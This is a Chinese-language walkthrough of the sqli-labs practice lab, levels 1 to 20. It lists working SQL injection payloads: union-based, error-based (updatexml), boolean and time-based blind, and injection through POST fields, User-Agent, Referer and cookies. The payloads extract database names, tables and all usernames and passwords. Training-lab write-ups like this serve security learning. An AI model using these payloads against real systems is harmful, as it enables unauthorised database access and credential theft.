Less-1
1.在浏览器打开,在localhost后输入sqli-labs,如下图
2.点击Less-1,如下图
3.在url后跟上?id=1查看登录名和密码,最多可到id=14
4.使用order by+数字判断字段数
如图,判断字段数不是5,下来判断4
如图,字段数也不是4,下面判断3是不是字段数
可以确定字段数是3
5.使用union select 1,2,3命令确定回显点
?id=-1'union select 1,2,3 --+
先把id=1改为id=-1确保union前面不执行,只执行后面
2说明显示的是数据库里面的第二列
3说明显示的是数据库里面的第三列
6.使用?id=-1'union select 1,database(),3 --+命令,拿到靶场数据库
可以使用?id=-1'union select 1,database(),version() --+命令查看数据库版本
7.使用?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+命令查找所有表
8.使用?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+命令查看字段
9.使用命令?id=-1'union select 1,2,group_concat(username,'~',password) from users --+拿到所有的用户名和密码
Less-2(数字型注入)
1.在url后跟上?id=1查看登录名和密码,最多可到id=14
2.使用order by+数字判断字段数
3.使用union select 1,2,3命令确定回显点
?id=-1 union select 1,2,3 --+
先把id=1改为id=-1确保union前面不执行,只执行后面
4.使用?id=-1 union select 1,database(),3 --+命令,拿到靶场数据库
可以使用?id=-1 union select 1,database(),version() --+命令查看数据库版本
5.使用?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+命令查找所有表
6.使用?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+命令查看字段
7.使用命令?id=-1 union select 1,2,group_concat(username,'~',password) from users --+拿到所有的用户名和密码
Less-3
---判断注入类型为字符型
---判断闭合方式
?id=1--+ #回显正常
?id=1'--+ #回显错误
?id=1')--+ #回显正常
---判断字段数
?id=1') order by 4--+
?id=1') order by 3--+
---判断回显点
?id=-1') union select 1,2,3--+
---爆破库
?id=-1') union select 1,2,database()--+
---爆破表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
---爆破字段
?id=-1') union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database()
and table_name='users'--+
---拿到所有数据
?id=-1') union select 1,2,group_concat(username,'~',password)
from users --+
Less-4
---判断注入类型为字符型
---判断闭合方式
?id=1--+ #回显正常
?id=1'--+ #回显错误
?id=1")--+ #回显正常
---判断字段数
?id=1") order by 4--+
?id=1") order by 3--+
---判断回显点
?id=-1") union select 1,2,3--+
---爆破库
?id=-1") union select 1,2,database()--+
---爆破表
?id=-1") union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database()--+
---爆破字段
?id=-1") union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema=database()
and table_name='users'--+
---拿到所有数据
?id=-1") union select 1,2,group_concat(username,'~',password)
from users --+
Less-5(报错注入)
---判单闭合方式
?id=1' #回显错误
?id=1'--+ #回显正常
---爆破库
?id=1' and updatexml(1,concat('~',(select database()),'~'),3)--+
---爆破表
?id=1' and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'~'),3)--+
---爆破字段名
?id=1' and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),'~'),3)--+
---获取用户名和密码
?id=1' and updatexml(1,concat('~',(select concat(username,'=',password)from users limit 0,1),'~'),3)--+
可以使用limit命令获取后面的用户名和密码
Less-6(报错注入)
---判单闭合方式
?id=1" #回显错误
?id=1"--+ #回显正常
---爆破库
?id=1" and updatexml(1,concat('~',(select database()),'~'),3)--+
---爆破表
?id=1" and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'~'),3)--+
---爆破字段名
?id=1" and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),'~'),3)--+
---获取用户名和密码
?id=1" and updatexml(1,concat('~',(select concat(username,'=',password)from users limit 0,1),'~'),3)--+
可以使用limit命令获取后面的用户名和密码
Less-7(布尔盲注)
---判断闭合方式
?id=1' #回显错误
?id=1'--+ #回显错误 不是闭合方式
?id=1" #回显正常 不是闭合方式
?id=1')) #回显错误
?id=1'))--+#回显正常 是闭合方式
---判断数据库名长度
?id=1')) and length(database())>6--+ #回显正常
?id=1')) and length(database())>12--+ #回显错误 说明长度在6到12之间
?id=1')) and length(database())>9--+ #回显错误 说明长度在6到9之间
?id=1')) and length(database())>7--+ #回显正常 说明长度在7到9之间
?id=1')) and length(database())=8--+ #回显正常 说明数据库名长度为8
---判断当前数据库的字符
?id=1')) and ascii(substr(database(),1,1))>110 --+ #110为ascii表中的十进制
#说明第一个字母的ascii表对应的值在110到122之间
?id=1')) and ascii(substr(database(),1,1))>116 --+ #回显错误,说明对应的值在110到116之间
?id=1')) and ascii(substr(database(),1,1))>113 --+ #回显正常,说明对应的值在113到116之间
?id=1')) and ascii(substr(database(),1,1))>115 --+ #回显错误,说明对应的值在113到115之间
?id=1')) and ascii(substr(database(),1,1))=115 --+ #回显正常,说明对应的值为115对应的字符为s
Less-8(布尔盲注)
利用工具爆破:
1.打开BP拦截数据包
2.将数据包发送到Intruder
3.选择攻击类型改为集束攻击
4.添加payload位置
5.在payload栏更改payload值和payload集,并将payload类型改为数值
6.开始攻击,拿到这个表
对应ASCII码表找到对应的值为security,即爆破库名完成,接下来的爆破表名和字段名步骤类似
Less-9(时间盲注)
---判断闭合方式
# 时间盲注判断
?id=1' and sleep(10)--+ #等10s后页面刷新完成
?id=1' and if(1=2,1,sleep(10))--+
---判断数据库长度并开始猜测数据库的库名
?id=1'and if(length(database())=8,sleep(4),1)--+ #猜测数据库名长度为8
---使用ASCII码猜解数据库的名称
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(10),0)--+ //第一位
?id=1' and if((ascii(substr(database(),2,1))=101),sleep(10),0)--+ //第二位
?id=1' and if((ascii(substr(database(),3,1))=99),sleep(10),0)--+ //第三位
---依次获取其表的长度与表的名称
# 获取表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(10),0)--+ //第一个表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(10),0)--+ //第二个表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 2,1))=7,sleep(10),0)--+ //第三个表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),0)--+ //第四个表的长度
# 获取表的名称
//查询第四个表的表名第一位
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),0)--+
//查询第四个表的表名第二位
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(10),0)--+
---判断字段长度与字段内容
# 判断字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(10),0)--+ //判断第一个字段长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),0)--+ //判断第二个字段的长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=8,sleep(10),0)--+ //判断第三个字段的长度
# 判断第二个字段名内容
?id=1'and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),0)--+ //第一位
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115,sleep(10),0)--+ //第二位
.
# 布尔盲注和时间盲注的区别
1.布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
2.时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态
# 衍生的高级问题:
1.编写延时盲注和布尔盲注的脚本的思路?
或者利用工具爆破(推荐):
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(10),0)--+
1.打开BP,开启拦截
2.将拦截到的数据包发送到Intruder
3.将选择攻击类型改为集束炸弹
4.在需要改动的位置添加payload位置
5.在payload栏更改payload值和payload集,并将payload类型改为数值
6.开始攻击,拿到这个表
对应ASCII码表找到对应的值为security,即爆破库名完成,接下来的爆破表名和字段名步骤类似
Less-10
---判断闭合方式
# 时间盲注判断
?id=1" and sleep(3)--+ #等3s后页面刷新完成
?id=1" and if(1=1,sleep(3),3)--+
---判断数据库长度并开始猜测数据库的库名
?id=1" and if(length(database())=8,sleep(3),1)--+ #猜测数据库名长度为8
---使用ASCII码猜解数据库的名称
?id=1" and if((ascii(substr(database(),1,1))=115),sleep(10),0)--+ //第一位
?id=1" and if((ascii(substr(database(),2,1))=101),sleep(10),0)--+ //第二位
?id=1" and if((ascii(substr(database(),3,1))=99),sleep(10),0)--+ //第三位
---或者利用BP工具
1.打开BP工具,开启拦截
2.将拦截到的数据包发送到intruder
3.将需要更改的数据增加payload值
4.攻击类型更改为集束炸弹
5.设置payload集
6.根据攻击出来的数据查看对应的ascii码值,得到数据库的名字为security
7.后面查询表名和字段名和数据方法类似
Less-11(POST)
这一关数据的提交由get变成了Post
1.寻找注入点
2.这里出现报错,说明存在sql注入,接下来直接使用BP工具进行爆破,拦截数据
3.判断回显点
'union select 1,2--+
4.爆破数据库名字
'union select 1,database()--+
5.后面的表名,数据等依照之前的注入进行爆破
Less-12(POST)
1.判断闭合方式
先在username一栏输入aaaa",出现报错
猜测闭合方式为"),接下来进行验证
进行闭合,发现页面正常,得出结论闭合方式为")
2.判断回显点
")union select 1,2 --+
3.查询数据库名
")union select 1,database()--+
4.后面的表名,数据等依照之前的注入进行爆破
Less-13
1.寻找注入点,并判断闭合方式
闭合后页面显示正常,说明闭合方式为')
2.使用union 判断回显点,发现页面没有回显点
3.所以这里使用报错注入试试看能不能破解,发现可以破解出数据库名字
')union select updatexml(1,concat('~',(select database()),'~'),1) --+
4.后面的表名,数据等依照之前的注入进行爆破
Less-14
1.寻找注入点,并判断闭合方式
注释后页面回显正常,所以闭合方式为”
2.使用union 判断回显点,发现页面没有回显点
" union select 1,2--+
3.所以这里使用报错注入试试看能不能破解,发现可以破解出数据库名字
" union select updatexml(1,concat('~',(select database()),'~'),1) --+
4.后面的表名,数据等依照之前的注入进行爆破
Less-15(布尔盲注)
1.输入账号,密码提交查看页面的变化
2.输入错误的账号密码查看页面变化
3.这里我们使用布尔盲注,打开BP进行数据包拦截
' and ascii(substr(database(),1,1))=115--+
4.将拦截到的数据包发送的Intruder板块,添加payload判断数据库名
5.修改payload值
6.开始攻击,拿到下面的表
7.对照ASCII码表得到对应的数据库名为security
8.后面的表名,字段名和数据的爆破类似
Less-16
1.判断闭合方式
" #报错
"--+ #报错
") #报错
")--+ #页面回显正常
2.页面有两种状态,所以这里用布尔盲注,首先判断数据库名,利用BP工具进行爆破
") and ascii(substr(database(),1,1))=115--+
3.根据此表可得出数据库的名字为security
4.后面的数据库表和字段名和数据查询方法类似
Less-17
1.寻找注入点,在username中输入admin',发现报错
2.说明注入点不在username,在password输入看看
3.发现报错了,说明要用到报错函数,在password后面注入,判断注入类型
' #报错
' --+ #页面显示正常
4.爆破数据库名
' and updatexml(1,concat('~',(select database()),'~'),3)--+
5.后面的爆破表,爆破字段和数据等类似
Less-18(user-agent)
1.输入正确的账号密码查看页面情况,输入错误查看页面情况
2.寻找注入点,发现在user-agent可以注入,则可爆破数据
1'and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1) or'
Less-19(referer)
1.先查看正常的页面
2.发现可以在referer进行注入,利用BP抓包
3.可以查看已经爆破出数据库名为security
4.后面的爆破表,爆破字段和数据等类似
Less-20(cookie)
1.先查看正常的页面,发现在cookie可以进行注入
2.利用BP抓包,进行爆破
1'and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1) --+
3.爆破出数据来了